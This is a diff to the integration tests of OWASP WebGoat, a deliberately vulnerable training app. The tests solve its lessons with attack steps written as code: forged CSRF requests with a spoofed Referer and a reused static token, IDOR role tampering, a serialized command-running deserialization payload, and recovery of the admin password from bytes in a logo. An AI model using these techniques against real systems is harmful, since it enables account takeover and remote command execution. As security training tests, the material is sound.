dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
|
||||
);
|
||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
//logout();
|
||||
login();//because old cookie got replaced and invalidated
|
||||
// logout();
|
||||
login(); // because old cookie got replaced and invalidated
|
||||
startLesson("CSRF", false);
|
||||
checkResults("/csrf");
|
||||
}
|
||||
|
||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||
|
||||
//remove any left over html
|
||||
// remove any left over html
|
||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
||||
}
|
||||
|
||||
//upload trick html
|
||||
// upload trick html
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -98,18 +105,25 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
|
||||
private String callTrickHtml(String htmlName) {
|
||||
String result = RestAssured.given()
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.substring(8 + result.indexOf("action=\""));
|
||||
result = result.substring(0, result.indexOf("\""));
|
||||
|
||||
@ -117,14 +131,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
}
|
||||
|
||||
private void checkAssignment3(String goatURL) {
|
||||
String flag = RestAssured.given()
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("flag").toString();
|
||||
.extract()
|
||||
.path("flag")
|
||||
.toString();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
@ -138,9 +155,11 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
params.clear();
|
||||
params.put("reviewText", "test review");
|
||||
params.put("stars", "5");
|
||||
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
|
||||
params.put(
|
||||
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
|
||||
|
||||
boolean result = RestAssured.given()
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
@ -148,37 +167,43 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
.formParams(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("lessonCompleted");
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
assertEquals(true, result);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment7(String goatURL) {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
|
||||
params.put(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
|
||||
+ " best!!",
|
||||
"\"}");
|
||||
|
||||
String flag = RestAssured.given()
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.contentType(ContentType.TEXT)
|
||||
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
|
||||
.body(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
|
||||
+ " the best!!=\"}")
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().asString();
|
||||
.extract()
|
||||
.asString();
|
||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||
flag = flag.substring(0, flag.indexOf("\""));
|
||||
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment8(String goatURL) {
|
||||
|
||||
//first make sure there is an attack csrf- user
|
||||
// first make sure there is an attack csrf- user
|
||||
registerCSRFUser();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
@ -186,8 +211,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
params.put("username", "csrf-" + this.getUser());
|
||||
params.put("password", "password");
|
||||
|
||||
//login and get the new cookie
|
||||
String newCookie = RestAssured.given()
|
||||
// login and get the new cookie
|
||||
String newCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
@ -195,9 +221,10 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
.params(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().cookie("JSESSIONID");
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
|
||||
//select the lesson
|
||||
// select the lesson
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -206,32 +233,35 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
//click on the assignment
|
||||
boolean result = RestAssured.given()
|
||||
// click on the assignment
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.post(url("/csrf/login"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted");
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
|
||||
assertThat(result).isTrue();
|
||||
|
||||
login();
|
||||
startLesson("CSRF", false);
|
||||
|
||||
Overview[] assignments = RestAssured.given()
|
||||
Overview[] assignments =
|
||||
RestAssured.given()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getObject("$", Overview[].class);
|
||||
// assertThat(assignments)
|
||||
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||
// .extracting(o -> o.solved)
|
||||
// .containsExactly(true);
|
||||
// assertThat(assignments)
|
||||
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||
// .extracting(o -> o.solved)
|
||||
// .containsExactly(true);
|
||||
}
|
||||
|
||||
@Data
|
||||
@ -240,9 +270,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
boolean solved;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to register the new user. Ignore the result.
|
||||
*/
|
||||
/** Try to register the new user. Ignore the result. */
|
||||
private void registerCSRFUser() {
|
||||
|
||||
RestAssured.given()
|
||||
@ -253,7 +281,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"));
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,16 +1,13 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
|
||||
@ -26,7 +23,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
.get(url("/WebGoat/challenge/logo"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().asByteArray();
|
||||
.extract()
|
||||
.asByteArray();
|
||||
|
||||
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
@ -34,7 +32,6 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
params.put("username", "admin");
|
||||
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
||||
|
||||
|
||||
checkAssignment(url("/WebGoat/challenge/1"), params, true);
|
||||
String result =
|
||||
RestAssured.given()
|
||||
@ -45,14 +42,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
.post(url("/WebGoat/challenge/1"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().asString();
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||
params.clear();
|
||||
params.put("flag", flag);
|
||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||
|
||||
|
||||
checkResults("/challenge/1");
|
||||
|
||||
List<String> capturefFlags =
|
||||
@ -63,7 +60,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
.get(url("/WebGoat/scoreboard-data"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().jsonPath()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||
assertTrue(capturefFlags.contains("Admin lost password"));
|
||||
}
|
||||
@ -86,14 +84,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
.post(url("/WebGoat/challenge/5"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().asString();
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||
params.clear();
|
||||
params.put("flag", flag);
|
||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||
|
||||
|
||||
checkResults("/challenge/5");
|
||||
|
||||
List<String> capturefFlags =
|
||||
@ -104,9 +102,9 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
.get(url("/WebGoat/scoreboard-data"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().jsonPath()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||
assertTrue(capturefFlags.contains("Without password"));
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -2,6 +2,7 @@ package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.fail;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.PrivateKey;
|
||||
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import javax.xml.bind.DatatypeConverter;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
||||
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
||||
checkAssignmentDefaults();
|
||||
|
||||
checkResults("/crypto");
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment2() {
|
||||
|
||||
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
|
||||
String basicEncoding =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/encoding/basic"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||
@ -75,11 +77,25 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||
|
||||
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/md5")).then().extract().asString();
|
||||
String md5Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/md5"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/sha256")).then().extract().asString();
|
||||
String sha256Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/sha256"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String answer_1 = "unknown";
|
||||
String answer_2 = "unknown";
|
||||
@ -101,13 +117,15 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||
|
||||
String privatePEM = RestAssured.given()
|
||||
String privatePEM =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/signing/getprivate"))
|
||||
.then()
|
||||
.extract().asString();
|
||||
.extract()
|
||||
.asString();
|
||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||
|
||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||
@ -122,7 +140,12 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
private void checkAssignmentDefaults() {
|
||||
|
||||
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
|
||||
String text =
|
||||
new String(
|
||||
Base64.getDecoder()
|
||||
.decode(
|
||||
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
|
||||
.getBytes(Charset.forName("UTF-8"))));
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
@ -130,5 +153,4 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
||||
params.put("secretFileName", "default_secret");
|
||||
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,12 +1,11 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||
|
||||
public class DeserializationIntegrationTest extends IntegrationTest {
|
||||
|
||||
@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win") > -1) {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
params.put(
|
||||
"token",
|
||||
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
params.put(
|
||||
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||
|
||||
checkResults("/InsecureDeserialization/");
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
|
||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
|
||||
+ " website.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||
|
@ -1,13 +1,14 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -15,10 +16,6 @@ import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
public class IDORIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
@ -30,9 +27,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testIDORLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("login",()-> loginIDOR()),
|
||||
dynamicTest("profile", () -> profile())
|
||||
);
|
||||
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
@ -47,9 +42,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
||||
params.put("username", "tom");
|
||||
params.put("password", "cat");
|
||||
|
||||
|
||||
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
||||
|
||||
}
|
||||
|
||||
private void profile() {
|
||||
@ -61,7 +54,9 @@ public class IDORIntegrationTest extends IntegrationTest {
|
||||
.get(url("/WebGoat/IDOR/profile"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("userId"), CoreMatchers.is("2342384"));
|
||||
.extract()
|
||||
.path("userId"),
|
||||
CoreMatchers.is("2342384"));
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("attributes", "userId,role");
|
||||
@ -78,21 +73,24 @@ public class IDORIntegrationTest extends IntegrationTest {
|
||||
.get(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON) //part of the lesson
|
||||
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
|
||||
.contentType(ContentType.JSON) // part of the lesson
|
||||
.body(
|
||||
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
|
||||
+ " \"userId\":\"2342388\"}")
|
||||
.put(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,32 +1,32 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import lombok.Getter;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
public abstract class IntegrationTest {
|
||||
|
||||
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
||||
|
||||
@Getter
|
||||
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
||||
|
||||
private static boolean useSSL = false;
|
||||
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||
@Getter
|
||||
private String webGoatCookie;
|
||||
@Getter
|
||||
private String webWolfCookie;
|
||||
@Getter
|
||||
private String user = "webgoat";
|
||||
private static String webgoatUrl =
|
||||
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||
private static String webWolfUrl =
|
||||
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||
@Getter private String webGoatCookie;
|
||||
@Getter private String webWolfCookie;
|
||||
@Getter private final String user = "webgoat";
|
||||
|
||||
protected String url(String url) {
|
||||
url = url.replaceFirst("/WebGoat/", "");
|
||||
@ -44,17 +44,21 @@ public abstract class IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
public void login() {
|
||||
String location = given()
|
||||
String location =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.post(url("login"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().header("Location");
|
||||
.extract()
|
||||
.header("Location");
|
||||
if (location.endsWith("?error")) {
|
||||
webGoatCookie = RestAssured.given()
|
||||
webGoatCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
@ -68,18 +72,22 @@ public abstract class IntegrationTest {
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
} else {
|
||||
webGoatCookie = given()
|
||||
webGoatCookie =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.post(url("login"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().cookie("JSESSIONID");
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
}
|
||||
|
||||
webWolfCookie = RestAssured.given()
|
||||
webWolfCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
@ -94,12 +102,7 @@ public abstract class IntegrationTest {
|
||||
|
||||
@AfterEach
|
||||
public void logout() {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.get(url("logout"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName) {
|
||||
@ -136,7 +139,9 @@ public abstract class IntegrationTest {
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
@ -149,36 +154,46 @@ public abstract class IntegrationTest {
|
||||
.put(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
|
||||
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
|
||||
// only required to be in the same package)
|
||||
public void checkResults(String prefix) {
|
||||
checkResults();
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getList("assignment.path"),
|
||||
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||
}
|
||||
|
||||
public void checkResults() {
|
||||
var result = RestAssured.given()
|
||||
var result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.andReturn();
|
||||
|
||||
MatcherAssert.assertThat(result.then()
|
||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
MatcherAssert.assertThat(
|
||||
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
public void checkAssignment(
|
||||
String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
@ -189,7 +204,9 @@ public abstract class IntegrationTest {
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
@ -202,17 +219,23 @@ public abstract class IntegrationTest {
|
||||
.get(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public String getWebWolfFileServerLocation() {
|
||||
String result = RestAssured.given()
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/file-server-location"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
@ -224,8 +247,9 @@ public abstract class IntegrationTest {
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/server-directory"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
@ -1,5 +1,16 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
import io.jsonwebtoken.Header;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
